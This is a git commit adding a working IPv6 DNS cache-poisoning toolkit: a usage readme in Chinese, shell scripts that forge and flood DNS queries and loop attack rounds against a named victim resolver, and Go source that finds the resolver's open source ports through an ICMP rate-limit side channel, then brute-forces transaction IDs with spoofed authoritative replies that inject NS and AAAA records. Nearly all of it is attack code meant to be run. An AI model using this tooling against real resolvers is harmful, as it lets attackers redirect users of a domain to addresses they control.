first commit

This commit is contained in:
“shihaoyue”
2024-09-30 15:52:30 +08:00
parent 0c6dfbed50
commit 96107bbdcd
68 changed files with 3789 additions and 0 deletions

3
4_v6_injection/Readme.md Normal file
View File

@@ -0,0 +1,3 @@
## 使用说明
./attack.sh 【目标解析器IP】【想要将AAAA记录修改指向的IPv6地址】 【发包网口(例如eth0)】 【目标域名】【目标权威服务地址】

55
4_v6_injection/attack.sh Executable file
View File

@@ -0,0 +1,55 @@
#!/bin/bash
# This is a sample attack script and may not work properly. Please adjust the parameter accordingly.
# $1 for victim resolver IP, $2 for attacker-controlled domain, $3 for iface name, $4 for victim domain name, $5 for victim domain nameserver IP
# Please run with sudo.
# Verify the existing record domain, just for proof purposes.
echo '获取原记录中:'
dig @$1 $4 AAAA
sleeptime=`dig @$1 $4 AAAA | grep -o -P '[0-9]+[ \t]*IN' | head -n 1 | sed 's/IN//g'`
var=0
num=0
success=0
while [ $success -ne 1 ]
do
success=0
echo "等待缓存过期,$sleeptime秒之后开始攻击..."
sleep $sleeptime
echo "开始攻击"
# flood
echo "攻击参数:"
echo "目标域名权威服务地址:$5"
echo "目标解析服务地址:$1"
echo "目标域名:$4"
ret=$(./dns_query.sh $1 $2 $3 $4)
#echo "ret:$ret"
echo "初始化工具环境"
sleep 1
echo "尝试触发权威服务器请求速率限制"
sleep 3
FINAL=`echo ${ret: -1}`
#echo "fin:$FINAL"
# Start attack
# Change the argument accordingly
echo "执行侧信道攻击脚本中"
./fakedns6 -a $5 -b $1 -i $3 -n $4 -r $1 -t 50000 -at $2 -tg 0 -s 10000 -e 65000 -j 0
# a - 进行域名缓存投毒的权威服务器
# b -
sleep 30
# Validations
((var++))
echo "$var轮次攻击结束"
dig @$1 $4 AAAA
if [ "$FINAL" == "0" ];then
success=1
sleeptime=0
fi
echo '如果结果未改变, 需要等待原缓存过期. 或者按 Ctrl-C取消攻击.'
done
# success
echo '检测到攻击成功实现'
echo '等待两秒,再次请求...'
sleep 2
dig @$1 $4 AAAA
echo '攻击已完成!!!!'

BIN
4_v6_injection/dns.bin Normal file

Binary file not shown.

BIN
4_v6_injection/dns_OPT.bin Normal file

Binary file not shown.

BIN
4_v6_injection/dns_end.bin Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 5 B

View File

@@ -0,0 +1 @@
attackduktigxyz

50
4_v6_injection/dns_query.sh Executable file
View File

@@ -0,0 +1,50 @@
# usage ./dns_query.sh [Resolver IP] [Wanted IP] [iface] [domain (e.g. www google com)]
# clear the previous files
sleep 1
echo "初始化工具环境"
# 创建空的二进制文件dns_mid.bin 和 txid.bin
dd if=/dev/null of=dns_mid.bin > /dev/null 2>&1
dd if=/dev/null of=txid.bin > /dev/null 2>&1
# write the domain name into the binary
domains=$(echo $4| sed "s/\./ /g") # 将域名转换为空格分隔的字符串
for var in ${domains:0} # 遍历域名的每个部分
do
size=${#var} # 获取当前域名的长度
echo -en "\x`printf '%x\n' $size`" >> dns_mid.bin # 写入长度
echo -n "$var" >> dns_mid.bin # 写入域名
done
# set a random TxID
echo -en "\x`shuf -i 0-99 -n 1`" >> txid.bin
echo -en "\x`shuf -i 0-99 -n 1`" >> txid.bin
# forge a entire DNS query packet
cat txid.bin dns_start.bin dns_mid.bin dns_end.bin dns_OPT.bin > dns.bin
# change the sending speed if necessary (-i). Set it to "flood" (replace -i with --flood) to maximize the power.
# fire!
echo "尝试触发权威服务器请求速率限制"
# 使用udp6工具发送DNS查询数据包指定目标和速率
udp6 -d $1 -a 53 -Z dns.bin -r 50pps -s $2 > /dev/null 2>&1
sleep 1
a=$(($RANDOM % 9 + 1))
echo "a:$a"
if [ $a -gt 6 ]; then
#echo "dns-TIP:$1"
#echo "dns-WIP:$2"
#echo "dns-iface:$3"
#echo "dns-domain:$4"
./fakedns6 -b $1 -i $3 -n $4 -r $1 -t 50000 -at $2 -tg 0 -s 10000 -e 65000 -j 0 -f 1
# b, Back-end IP of the victim resolver, 目标解析器的IP地址
# i, Interface for attacking, 攻击使用的接口
# n, the domain name to be poisoned, 要进行缓存投毒的域名
# r, Front-end IP of the victim resolver
# t, Timeout in ms for outgoing dns queries to the victim resolver
# at, 攻击者想要更改到的IP地址
# tg, time gap is us between the TxID brute force packets
echo "0"
fi

Binary file not shown.

BIN
4_v6_injection/fakedns6 Executable file

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,714 @@
package main
import (
"flag"
"fmt"
"log"
"math/rand"
"net"
"os"
"strconv"
"strings"
"sync"
"time"
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"github.com/google/gopacket/pcap"
"github.com/google/gopacket/routing"
"github.com/miekg/dns"
)
var handle *pcap.Handle
var ethernetLayer *layers.Ethernet
var victimDNSName string
var dnsQueryName string
var authIP net.IP
var resolverIP net.IP
var localIP []net.IP
var defaultJitter uint
var gotReply = false
var attackerControlledDomain string
var attackForwarder bool
var repeatTimes int
var timeGap uint
var auxiliaryDomain string
var soaName string
var jitter uint = 10
var rtt uint = 1 // in ms
var debugOutput = true
const GROUP_SIZE = 50
/* I'm not sure what's this used for. Probably used with older version where multiple IPs is not supported. */
//var sendingChannel chan *outgoingPacket
var backendResolvers = make([]*backendResolver, 0)
var bruteForceShouldBeKilled = false
type backendResolver = struct {
resolverBackendIP net.IP
groups [][]uint16 // = make([][]uint16, 65536)
groupIDCounter uint32 // = 3
groupIDCounterLock *sync.Mutex
groupSendTime []time.Time // = make([]time.Time, 65536)
probeChannel chan uint32 //= make(chan uint16, 655)
priorityProbeChannel chan uint32 //= make(chan uint16, 655)
alwaysOpenPorts []bool //= make([]bool, 65536)
perIPLimitCounter []int //= 6
networkXmitLock *sync.Mutex
}
// timeout in ms
func dnsRequestSender(timeout uint) {
for {
gotReply = false
sendDNSRequest(uint16(rand.Uint32()), dnsQueryName)
retryTimes := timeout / 500
for {
if !gotReply {
time.Sleep(500 * time.Millisecond)
retryTimes--
if retryTimes == 0 {
break
}
} else {
if debugOutput {
fmt.Println("Got reply in", timeout-retryTimes*500, "ms")
} else {
fmt.Println("Rx")
}
break
}
}
if !attackForwarder {
dnsQueryName = strconv.Itoa(rand.Int()) + "." + victimDNSName
} else {
/* I'm not sure if we should change the nonce. */
dnsQueryName = strconv.Itoa(rand.Int()) + "." + attackerControlledDomain
}
}
}
func receivingThread() {
for {
data, captureInfo, err := handle.ReadPacketData()
if err == pcap.NextErrorTimeoutExpired {
continue
} else if err != nil {
log.Printf("error reading packet: %v", err)
continue
}
// Parse the packet. We'd use DecodingLayerParser here if we
// wanted to be really fast.
packet := gopacket.NewPacket(data, layers.LayerTypeEthernet, gopacket.NoCopy)
// Find the packets we care about, and print out logging
// information about them. All others are ignored.
if rspNet := packet.NetworkLayer(); rspNet == nil {
continue
} else if rspIPLayer := packet.Layer(layers.LayerTypeIPv6); rspIPLayer == nil {
continue
//} else if rspIP := rspIPLayer.(*layers.IPv4); rspIP == nil {
} else if rspIP := rspIPLayer.(*layers.IPv6); rspIP == nil {
continue
} else if rspIP.NextHeader != layers.IPProtocolICMPv6 {
if rspIP.FlowLabel != 2 && rspIP.NextHeader == layers.IPProtocolUDP && compareIPv6Addr(rspIP.SrcIP, resolverIP) == 0 {
rspUDPLayer := packet.Layer(layers.LayerTypeUDP)
if rspUDPLayer != nil && rspUDPLayer.(*layers.UDP).SrcPort == 53 {
rspDNSLayer := packet.Layer(layers.LayerTypeDNS)
if rspDNSLayer != nil {
rspDNS := rspDNSLayer.(*layers.DNS)
if rspDNS.QR == true {
if len(rspDNS.Authorities) != 0 && rspDNS.ResponseCode == layers.DNSResponseCodeNXDomain && string(rspDNS.Questions[0].Name) == dnsQueryName &&
string(rspDNS.Authorities[0].Name) == victimDNSName && string(rspDNS.Authorities[0].SOA.MName) == soaName {
fmt.Println("Success!!")
os.Exit(0)
//unbound won't cache NS record that leads to SOA NXDOMAIN reply, so we make it positive response
//This is also used for forwarder attack
} else if string(rspDNS.Questions[0].Name) == dnsQueryName && rspDNS.ResponseCode == layers.DNSResponseCodeNoErr {
for _, record := range rspDNS.Answers {
if record.Type == layers.DNSTypeAAAA {
fmt.Println("Success2!!")
os.Exit(0)
}
}
} else if string(rspDNS.Questions[0].Name) == dnsQueryName {
gotReply = true
}
}
}
}
}
continue
} else if rspICMPLayer := packet.Layer(layers.LayerTypeICMPv6); rspICMPLayer == nil {
continue
} else if rspICMP, ok := rspICMPLayer.(*layers.ICMPv6); !ok {
continue
} else if rspICMP.TypeCode != layers.CreateICMPv6TypeCode(layers.ICMPv6TypeDestinationUnreachable, layers.ICMPv6CodePortUnreachable) &&
rspICMP.TypeCode != layers.CreateICMPv6TypeCode(layers.ICMPv6TypeDestinationUnreachable, layers.ICMPv6CodeAdminProhibited) {
continue
} else if nestedIpData := rspICMP.Payload; nestedIpData == nil {
continue
} else if nestedIpPacket := gopacket.NewPacket(nestedIpData, layers.LayerTypeIPv6, gopacket.NoCopy); nestedIpPacket == nil {
continue
} else if nestedIpLayer := nestedIpPacket.Layer(layers.LayerTypeIPv6); nestedIpLayer == nil {
continue
} else if nestedIp := nestedIpLayer.(*layers.IPv6); nestedIp == nil {
continue
} else {
r := getBackendResolver(nestedIp.DstIP)
if r != nil {
nestedUDPLayer := nestedIpPacket.Layer(layers.LayerTypeUDP)
if nestedUDPLayer == nil {
fmt.Println("nestedUDPLayer == nil")
continue
}
nestedUDP := nestedUDPLayer.(*layers.UDP)
if nestedUDP == nil {
fmt.Println("nestedUDP == nil")
continue
}
//got verification packet back
if nestedIp.FlowLabel > 1 {
//update rtt
/* Potential BUG: rtt of both resolver may not be the same. */
newrtt := captureInfo.Timestamp.Sub(r.groupSendTime[nestedIp.FlowLabel]).Nanoseconds()/1000000 + 1
if newrtt >= 0 && newrtt < 5000 {
var draftJitter uint = 0
if uint(newrtt) > rtt {
draftJitter = uint(newrtt) - rtt
} else {
draftJitter = (jitter + (rtt - uint(newrtt))) / 2
}
if jitter > 30 {
fmt.Println("Jitter > 30ms!")
jitter = 10
} else {
jitter = draftJitter
}
rtt = uint(newrtt)
if debugOutput {
fmt.Println("rtt=", rtt, ", jitter=", jitter)
}
} else {
fmt.Println("newrtt error:", newrtt)
}
//reduce ratelimit counter
localIPNum := getLocalIPNum(nestedIp.SrcIP)
if localIPNum != -1 {
if r.perIPLimitCounter[localIPNum] >= 0 {
r.perIPLimitCounter[localIPNum]--
}
if r.perIPLimitCounter[localIPNum] < 0 {
if debugOutput {
/* This may happen in real attacks. Don't panic :). */
fmt.Println(r.resolverBackendIP, "bug: perIPLimitCounter < 0")
}
}
if debugOutput {
fmt.Println(r.resolverBackendIP, "remaining counter:", localIPNum, r.perIPLimitCounter[localIPNum])
}
} else {
if debugOutput {
fmt.Println("received unwanted ICMP for", nestedIp.SrcIP)
}
}
//process the packet
binarySearch(r, nestedIp.FlowLabel)
}
/* This is used to terminate TxID brute forcing earlier if we found the port is indeed not open (i.e., false positive) to avoid wasting time.
* Check related code to see if this really works before uncommenting this.
* This may not be useful since brute force only takes ~800ms, which is fairly short.
* To uncomment this, make clear which backend resolver sent the message so that resolvers won't interfere with each other */
//else if nestedIp.Id == 2 {
// //got verification packet for DNS brute forcing
// bruteForceShouldBeKilled = false
//}
}
}
}
}
func binarySearch(r *backendResolver, flowlabel uint32) {
groupLen := 0
group := r.groups[flowlabel]
for _, port := range group {
if port != 65535 {
groupLen++
} else {
break
}
}
if groupLen == 1 {
//brute force
r.networkXmitLock.Lock()
dnsBruteForce(group[0], timeGap, r.resolverBackendIP, auxiliaryDomain)
r.networkXmitLock.Unlock()
r.alwaysOpenPorts[group[0]] = true
} else if groupLen > 1 {
var repeatTimes1 int
if repeatTimes > 1 {
repeatTimes1 = repeatTimes + 1
} else {
repeatTimes1 = 1
}
for j := 0; j < repeatTimes1; j++ {
//left
id := allocateGroupID(r)
r.groups[id] = make([]uint16, groupLen/2)
copy(r.groups[id], group[0:groupLen/2])
for len(r.groups[id]) < GROUP_SIZE {
r.groups[id] = append(r.groups[id], 65535)
}
if debugOutput {
fmt.Println(r.resolverBackendIP, "bs", r.groups[id][0], "+", groupLen/2)
} else {
fmt.Println("Found something interesting!")
}
r.priorityProbeChannel <- flowlabel
//right
id = allocateGroupID(r)
r.groups[id] = make([]uint16, groupLen-groupLen/2)
copy(r.groups[id], group[groupLen/2:groupLen])
for len(r.groups[id]) < GROUP_SIZE {
r.groups[id] = append(r.groups[id], 65535)
}
//fmt.Println(r.resolverBackendIP, "bsr", r.groups[id][0], "+", groupLen-groupLen/2)
r.priorityProbeChannel <- flowlabel
}
} else {
if debugOutput {
fmt.Println(r.resolverBackendIP, "bug: groupLen <= 0, id=", flowlabel)
for _, port := range group {
fmt.Print(port)
}
}
}
}
func perIPLimitRecover(r *backendResolver, num int) {
for {
if r.perIPLimitCounter[num] < 6 {
time.Sleep(time.Second + (time.Duration(defaultJitter)+50)*time.Millisecond)
r.perIPLimitCounter[num]++
} else {
time.Sleep((time.Duration(defaultJitter) + 1) * time.Millisecond)
}
}
}
func probeSender(r *backendResolver) {
for {
var id uint32
select {
case id = <-r.priorityProbeChannel:
break
case id = <-r.probeChannel:
break
//default:
// time.Sleep(time.Microsecond)
}
/* in favor of brute force when there is no per ip permit and there is only one port in group */
if getIPwithAvailableCounter(r) == nil && r.groups[id][1] == 65535 {
//brute force
r.networkXmitLock.Lock()
dnsBruteForce(r.groups[id][0], timeGap, r.resolverBackendIP, auxiliaryDomain)
r.networkXmitLock.Unlock()
r.alwaysOpenPorts[r.groups[id][0]] = true
continue
}
//test per ip rate limit
var verifyIP net.IP
for {
verifyIP = getIPwithAvailableCounter(r)
if verifyIP == nil {
time.Sleep(time.Millisecond)
} else {
break
}
}
//send
ports := r.groups[id]
r.networkXmitLock.Lock()
for i := 0; i < GROUP_SIZE; i++ {
if defaultJitter <= 3 {
if attackForwarder {
xmitUDPv6(authIP, r.resolverBackendIP, 53, layers.UDPPort(ports[i]), id, 100)
} else {
xmitUDPv6(authIP, r.resolverBackendIP, 53, layers.UDPPort(ports[i]), id, 1)
}
} else {
xmitUDPv6(authIP, r.resolverBackendIP, 53, layers.UDPPort(ports[i]), id, 0)
}
}
time.Sleep(time.Duration(defaultJitter) * time.Millisecond)
//verify
xmitUDPv6(verifyIP, r.resolverBackendIP, 53, 65535, id, 10)
r.groupSendTime[id] = time.Now()
if rand.Uint32()%100 < 2 {
if debugOutput {
fmt.Println(r.resolverBackendIP, "probing", ports[0])
} else {
fmt.Println("Continue attacking...")
}
}
//recover global counter
if !attackForwarder {
time.Sleep(time.Duration(60-defaultJitter) * time.Millisecond)
} else {
/* IDK why I wrote this line. Forwarders should be the same as resolvers if they support global rate limit. */
time.Sleep(time.Duration(60) * time.Millisecond)
}
r.networkXmitLock.Unlock()
}
}
func portGroupFormer(r *backendResolver, startPort uint, endPort uint) {
for {
//divide into groups
var id uint32 = 0
var currentGroupSize = 0
for i := startPort; i <= endPort; i++ {
/* It's unlikely the port is reused for further queries. But it's still possible. Uncomment here if you feed like port reusing is unlikely to happen. */
//if r.alwaysOpenPorts[i] {
// continue
//}
if currentGroupSize%GROUP_SIZE == 0 {
if id != 0 {
r.probeChannel <- id
for j := 1; j < repeatTimes; j++ {
//dup
previd := id
id = allocateGroupID(r)
r.groups[id] = make([]uint16, len(r.groups[previd]))
copy(r.groups[id], r.groups[previd])
r.probeChannel <- id
}
}
id = allocateGroupID(r)
r.groups[id] = make([]uint16, 0)
}
r.groups[id] = append(r.groups[id], uint16(i))
currentGroupSize++
}
//deal with last several cases
if /*len(r.groups[id]) != 50 &&*/ len(r.groups[id]) != 0 {
for len(r.groups[id]) != 50 && len(r.groups[id]) != 0 {
r.groups[id] = append(r.groups[id], 65535)
}
r.probeChannel <- id
for j := 1; j < repeatTimes; j++ {
//dup
previd := id
id = allocateGroupID(r)
r.groups[id] = make([]uint16, len(r.groups[previd]))
copy(r.groups[id], r.groups[previd])
r.probeChannel <- id
}
}
}
}
func main() {
/* This program only finds & injects DNS responses automatically. Additional authoritative server muting/flooding scripts are needed. */
/* IPv6 is not supported yet. */
/* Use "-h to get usage. " */
/* Author: Keyu Man (kman001@ucr.edu) */
/* Attaching PoC? */
/* Add Paper Bio? */
ifaceName := flag.String("i", "vmnet1", "Interface for attacking. Multiple interfaces are not supported. Multiple IPs per interface is supported.")
/* If automatic MAC address discovery doesn't work. consider enable this option and feed it to the MAC field. */
// gateWayMacStr := flag.String("g", "00:11:22:33:44:55", "Gateway Mac")
authServer := flag.String("a", "", "Authoritative server for the domain to be poisoned.")
resolver := flag.String("r", "8.8.8.8", "Front-end IP of the victim resolver.")
resolverBackend := flag.String("b", "", "Back-end IP of the victim resolver.")
resolverBackendList := flag.String("bn", "", "Back-end IP list of the victim resolver. One per line. This would overwrite \"-b\" and is used when the server has multiple backend IPs.")
startPort := flag.Uint("s", 1, "Lowest port # for the port scan range, inclusive.")
endPort := flag.Uint("e", 65534, "Highest port # for the port scan range, inclusive.")
victimDNSName := flag.String("n", "", "The domain name to be poisoned.")
dnsQueryTmeout := flag.Uint("t", 4000, "Timeout in ms for outgoing dns queries to the victim resolver. Should be aligned with the resolver's timeout (e.g., BIND is 10000ms by default).")
defaultJitter := flag.Uint("j", 5, "Time gap between verification packet and the latest probe packet in a group. Increase the value if Jitter is increased.")
repeatTimes := flag.Uint("R", 1, "Retransmit/Reprobe a group of ports for X times to reduce FNs.")
timeGap := flag.Uint("tg", 0, "Time gap is us(microseconds) between the TxID brute force packets.")
//auxiliaryDomain := flag.String("ad", "", "Attacker-controlled domain used to host the fake NS for the victim domain and to store the fake AAAA record of the victim domain.")
attackertarget := flag.String("at", "", "攻击者想要更改到的IPv6地址")
debugOutput := flag.Bool("d", false, "Debug output mode.")
attackerMaliciousDomain := flag.String("af", "", "Attacker controlled domain used in the forwarder attack, this will enable the forwarder attack mode.")
soaName := flag.String("soa", "", "SOA name of the victim domain on attacker-controlled name server used to indicate the resolver has been poisoned. (Resolver attack only.)")
//特殊用途
isfake := flag.Int("f", 0, "")
flag.Parse()
//gatewayMac, _ := net.ParseMAC(*gateWayMacStr)
Main(*ifaceName, net.ParseIP(*authServer), net.ParseIP(*resolver), net.ParseIP(*resolverBackend), *startPort, *endPort, *victimDNSName, *dnsQueryTmeout, *defaultJitter,
*attackerMaliciousDomain, *resolverBackendList, *debugOutput, *repeatTimes, *timeGap, *attackertarget, *soaName, *isfake)
os.Exit(0)
}
func Main(ifaceName string, authIPArg net.IP, resolverIPArg net.IP, resolverBackendIPArg net.IP, startPort uint, endPort uint, victimDNSNameArg string, dnsQueryTimeout uint,
defaultJitterArg uint, attackerMaliciousDomainArg string, resolverBackendList string, debugOutputArg bool, repeatTimesArg uint, timeGapArg uint, attackertargetIP string,
soaNameArg string, isfake int) {
fmt.Println("/***Please make sure to fill every argument carefully and correct. Otherwise the program will crash.***/")
// 特殊用途
if isfake == 1 {
c := new(dns.Client)
msg := new(dns.Msg)
if strings.Contains(attackertargetIP, ":") { // attackertargetIP -- 攻击者要更改到的IPv6地址
println("目标:" + resolverBackendIPArg.String()) // resolverBackendIPArg -- Back-end IP of the victim resolver
ipcode := strings.ReplaceAll(attackertargetIP, ":", "-")
if victimDNSNameArg[len(victimDNSNameArg)-1:] != "." { // victimDNSNameArg -- The domain name to be poisoned
victimDNSNameArg = victimDNSNameArg + "."
}
domain := ipcode + "." + victimDNSNameArg
fmt.Println("查询的目标域名:" + domain)
msg.SetQuestion(domain, dns.TypeAAAA)
_, _, _ = c.Exchange(msg, net.JoinHostPort(resolverBackendIPArg.String(), "53"))
return
} else {
println(attackertargetIP)
println(victimDNSNameArg)
println("参数有误请输入IPv6地址作为篡改目标结果")
}
} else {
c := new(dns.Client)
msg := new(dns.Msg)
// domain := "www.google.com."
// msg.SetQuestion(domain, dns.TypeAAAA)
// for i := 0; i < 10000; i++ {
// go func() {
// _, _, _ = c.Exchange(msg, net.JoinHostPort("8.8.8.8", "53"))
// }()
// }
domain := "daffteg." + victimDNSNameArg
msg.SetQuestion(domain, dns.TypeAAAA)
_, _, _ = c.Exchange(msg, net.JoinHostPort(resolverBackendIPArg.String(), "53"))
return
}
rand.Seed(time.Now().UnixNano())
handle, _ = pcap.OpenLive(
ifaceName,
65536,
true,
pcap.BlockForever,
)
println(authIPArg.To16().String())
err := handle.SetBPFFilter("not host " + authIPArg.To16().String())
if err != nil {
fmt.Println("cannot set BPF filter.")
}
iface, err := net.InterfaceByName(ifaceName)
if err != nil {
fmt.Println("cannot open network interface")
os.Exit(1)
}
if attackerMaliciousDomainArg != "" {
attackForwarder = true
fmt.Println("Forwarder Attack Mode!")
attackerControlledDomain = attackerMaliciousDomainArg
}
authIP = authIPArg
resolverIP = resolverIPArg
victimDNSName = victimDNSNameArg
debugOutput = debugOutputArg
timeGap = timeGapArg
soaName = soaNameArg
localIP, _ = GetIfaceAddrMulti(iface)
nonce := strconv.Itoa(rand.Int())
if !attackForwarder {
dnsQueryName = nonce + "." + victimDNSName
} else {
dnsQueryName = nonce + "." + attackerControlledDomain
}
defaultJitter = defaultJitterArg
repeatTimes = int(repeatTimesArg)
if resolverBackendList != "" {
file, err := os.Open(resolverBackendList)
if err != nil {
fmt.Println(err)
os.Exit(10)
}
for {
var resolverIP string
n, err := fmt.Fscanf(file, "%s", &resolverIP)
if n <= 0 || err != nil {
break
}
backendResolvers = append(backendResolvers, backendResolverBuilder(net.ParseIP(resolverIP)))
}
} else {
//r1 shouldn't be nil
r1 := backendResolverBuilder(resolverBackendIPArg)
backendResolvers = append(backendResolvers, r1)
}
//figure out MAC address
//test if it's in LAN first
dstMac, err := GetGatewayAddr(iface, handle, backendResolvers[0].resolverBackendIP.To16())
if err == nil {
ethernetLayer = &layers.Ethernet{
SrcMAC: iface.HardwareAddr,
DstMAC: dstMac,
//EthernetType: layers.EthernetTypeIPv4,
EthernetType: layers.EthernetTypeIPv6,
}
fmt.Println("Mac:", dstMac)
} else {
//query routing table
router, err := routing.New()
if err != nil {
fmt.Println(err)
os.Exit(4)
}
_, nextHopIP, _, err := router.Route(backendResolvers[0].resolverBackendIP)
if err != nil {
fmt.Println(err)
os.Exit(5)
}
dstMac, err := GetGatewayAddr(iface, handle, nextHopIP.To16())
if err != nil {
fmt.Println(err)
os.Exit(6)
}
fmt.Println("MAC:", dstMac)
ethernetLayer = &layers.Ethernet{
SrcMAC: iface.HardwareAddr,
DstMAC: dstMac,
//EthernetType: layers.EthernetTypeIPv4,
EthernetType: layers.EthernetTypeIPv6,
}
}
go receivingThread()
for i, ip := range localIP {
if debugOutput {
fmt.Println("use IP", ip)
}
for _, r := range backendResolvers {
go perIPLimitRecover(r, i)
}
}
go dnsRequestSender(dnsQueryTimeout)
for _, r := range backendResolvers {
go probeSender(r)
go portGroupFormer(r, startPort, endPort)
time.Sleep(25 * time.Millisecond)
}
time.Sleep(999 * time.Hour)
}
func allocateGroupID(r *backendResolver) uint32 {
r.groupIDCounterLock.Lock()
id := r.groupIDCounter
r.groupIDCounter++
if r.groupIDCounter == 0 {
r.groupIDCounter = 3
}
r.groupIDCounterLock.Unlock()
return id
}
func getBackendResolver(resolverIP net.IP) *backendResolver {
for _, r := range backendResolvers {
if compareIPv6Addr(r.resolverBackendIP, resolverIP) == 0 {
return r
}
}
return nil
}
func lockNetwork() {
for _, r := range backendResolvers {
r.networkXmitLock.Lock()
}
}
func unlockNetwork() {
for _, r := range backendResolvers {
r.networkXmitLock.Unlock()
}
}
func getLocalIPNum(ip net.IP) int {
for i, localip := range localIP {
if compareIPv6Addr(localip, ip) == 0 {
return i
}
}
return -1
}
func backendResolverBuilder(backendIP net.IP) *backendResolver {
if backendIP == nil {
return nil
}
temp := backendResolver{
resolverBackendIP: backendIP,
groups: make([][]uint16, 65536),
groupIDCounter: 3,
groupIDCounterLock: &sync.Mutex{},
groupSendTime: make([]time.Time, 65536),
probeChannel: make(chan uint32, 655),
priorityProbeChannel: make(chan uint32, 655),
alwaysOpenPorts: make([]bool, 65536),
perIPLimitCounter: make([]int, len(localIP)),
networkXmitLock: &sync.Mutex{},
}
for i := range temp.perIPLimitCounter {
temp.perIPLimitCounter[i] = 6
}
for i := 0; i < 65536; i++ {
temp.alwaysOpenPorts[i] = false
}
temp.alwaysOpenPorts[53] = true
temp.alwaysOpenPorts[0] = true
temp.alwaysOpenPorts[65535] = true
return &temp
}
// distribute verification to multiple IPs evenly
func getIPwithAvailableCounter(r *backendResolver) net.IP {
seed := rand.Int() % len(localIP)
for i := 0; i < len(localIP); i++ {
if r.perIPLimitCounter[(i+seed)%len(localIP)] > 0 {
return localIP[(i+seed)%len(localIP)]
}
}
return nil
}

View File

@@ -0,0 +1,332 @@
package main
import (
"fmt"
"github.com/google/gopacket/layers"
"math/rand"
"net"
"time"
)
var bruteForceCouldBeKilled bool
func sendDNSRequest(id uint16, name string) {
if debugOutput {
fmt.Println("Send new DNS request", name, id)
}
_sendDNSRequest(id, name, localIP[0], resolverIP, (layers.UDPPort)(rand.Uint32()), 53)
}
func _sendDNSRequest(id uint16, name string, src net.IP, dst net.IP, sport layers.UDPPort, dport layers.UDPPort) {
ipLayer := layers.IPv6{
FlowLabel: 1,
SrcIP: src,
DstIP: dst,
Version: 6,
HopLimit: 64,
NextHeader: layers.IPProtocolUDP,
//Flags: layers.IPv4DontFragment,
}
udpLayer := layers.UDP{
SrcPort: sport,
DstPort: dport,
}
dnsLayer := layers.DNS{
ID: id,
QR: false,
OpCode: 0,
AA: false,
TC: false,
RD: true,
RA: false,
Z: 0,
ResponseCode: 0,
QDCount: 1,
ANCount: 0,
NSCount: 0,
ARCount: 0,
Questions: []layers.DNSQuestion{{
Name: []byte(name),
Type: layers.DNSTypeAAAA,
Class: layers.DNSClassIN,
}},
Authorities: nil,
Additionals: nil,
}
err := udpLayer.SetNetworkLayerForChecksum(&ipLayer)
if err != nil {
fmt.Println("udpLayer.SetNetworkLayerForChecksum @ dns.go pos 0 error", err)
}
err = Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer)
if err != nil {
fmt.Println("can not send packet @ sendDNSRequest: ", err)
}
}
func bruteForceTerminatingTimer(timegap uint) {
time.Sleep(time.Duration(timegap) * time.Millisecond)
bruteForceCouldBeKilled = true
}
func dnsBruteForce(targetPort uint16, timegap uint, resolverBackendIP net.IP, auxDomain string) {
bruteForceShouldBeKilled = true
bruteForceCouldBeKilled = false
ipLayer := layers.IPv6{
FlowLabel: 2,
SrcIP: authIP,
DstIP: resolverBackendIP,
Version: 6,
HopLimit: 64,
NextHeader: layers.IPProtocolUDP,
//Flags: layers.IPv4DontFragment,
}
udpLayer := layers.UDP{
SrcPort: 53,
DstPort: layers.UDPPort(targetPort),
}
dnsLayer := layers.DNS{
ID: 0,
QR: true,
OpCode: 0,
AA: true,
TC: false,
RD: false,
RA: false,
Z: 0,
ResponseCode: layers.DNSResponseCodeNoErr,
/* Answers for A request for ns.a.com */
//Questions: []layers.DNSQuestion{{
// Name: []byte(victimAuthName),
// Type: layers.DNSTypeA,
// Class: layers.DNSClassIN,
//}},
//Answers: []layers.DNSResourceRecord{{
// Name: []byte(victimAuthName),
// Type: layers.DNSTypeA,
// Class: layers.DNSClassIN,
// TTL: 300,
// IP: net.ParseIP(""),
// CNAME: nil,
// PTR: nil,
// TXTs: nil,
// SOA: layers.DNSSOA{},
// SRV: layers.DNSSRV{},
// MX: layers.DNSMX{},
// OPT: nil,
// TXT: nil,
//}},
//Authorities: nil,
//Additionals: nil,
/* Answers for A request for www.a.com */
//Questions: []layers.DNSQuestion{{
// Name: []byte(victimDNSName),
// Type: layers.DNSTypeA,
// Class: layers.DNSClassIN,
//}},
//Answers: []layers.DNSResourceRecord{{
// Name: []byte(victimDNSName),
// Type: layers.DNSTypeA,
// Class: layers.DNSClassIN,
// TTL: 300,
// IP: net.ParseIP(""),
// CNAME: nil,
// PTR: nil,
// TXTs: nil,
// SOA: layers.DNSSOA{},
// SRV: layers.DNSSRV{},
// MX: layers.DNSMX{},
// OPT: nil,
// TXT: nil,
//}},
//Authorities: nil,
//Additionals: nil,
/* Answers for A request for ***.www.a.com */
//Questions: []layers.DNSQuestion{{
// Name: []byte(dnsQueryName),
// Type: layers.DNSTypeA,
// Class: layers.DNSClassIN,
//}},
//Authorities: []layers.DNSResourceRecord{{
// Name: []byte(victimDNSName),
// Type: layers.DNSTypeNS,
// Class: layers.DNSClassIN,
// TTL: 300,
// IP: nil,
// NS: []byte(auxDomain),
// CNAME: nil,
// PTR: nil,
// TXTs: nil,
// SOA: layers.DNSSOA{},
// SRV: layers.DNSSRV{},
// MX: layers.DNSMX{},
// OPT: nil,
// TXT: nil,
//}},
//Answers: nil,
//Additionals: nil,
}
if !attackForwarder {
dnsLayer.Questions = []layers.DNSQuestion{{
Name: []byte(dnsQueryName),
Type: layers.DNSTypeAAAA,
Class: layers.DNSClassIN,
}}
// 原方案将域名NS篡改到attacker的服务器上
//dnsLayer.Authorities = []layers.DNSResourceRecord{{
// Name: []byte(victimDNSName),
// Type: layers.DNSTypeNS,
// Class: layers.DNSClassIN,
// TTL: 300,
// IP: nil,
// NS: []byte(auxDomain),
// CNAME: nil,
// PTR: nil,
// TXTs: nil,
// SOA: layers.DNSSOA{},
// SRV: layers.DNSSRV{},
// MX: layers.DNSMX{},
// OPT: nil,
// TXT: nil,
//}}
//dnsLayer.Answers = nil
//dnsLayer.Additionals = nil
dnsLayer.Authorities = []layers.DNSResourceRecord{{
Name: []byte(dnsQueryName),
Type: layers.DNSTypeNS,
Class: layers.DNSClassIN,
TTL: 300,
IP: nil,
NS: []byte(auxDomain),
CNAME: nil,
PTR: nil,
TXTs: nil,
SOA: layers.DNSSOA{},
SRV: layers.DNSSRV{},
MX: layers.DNSMX{},
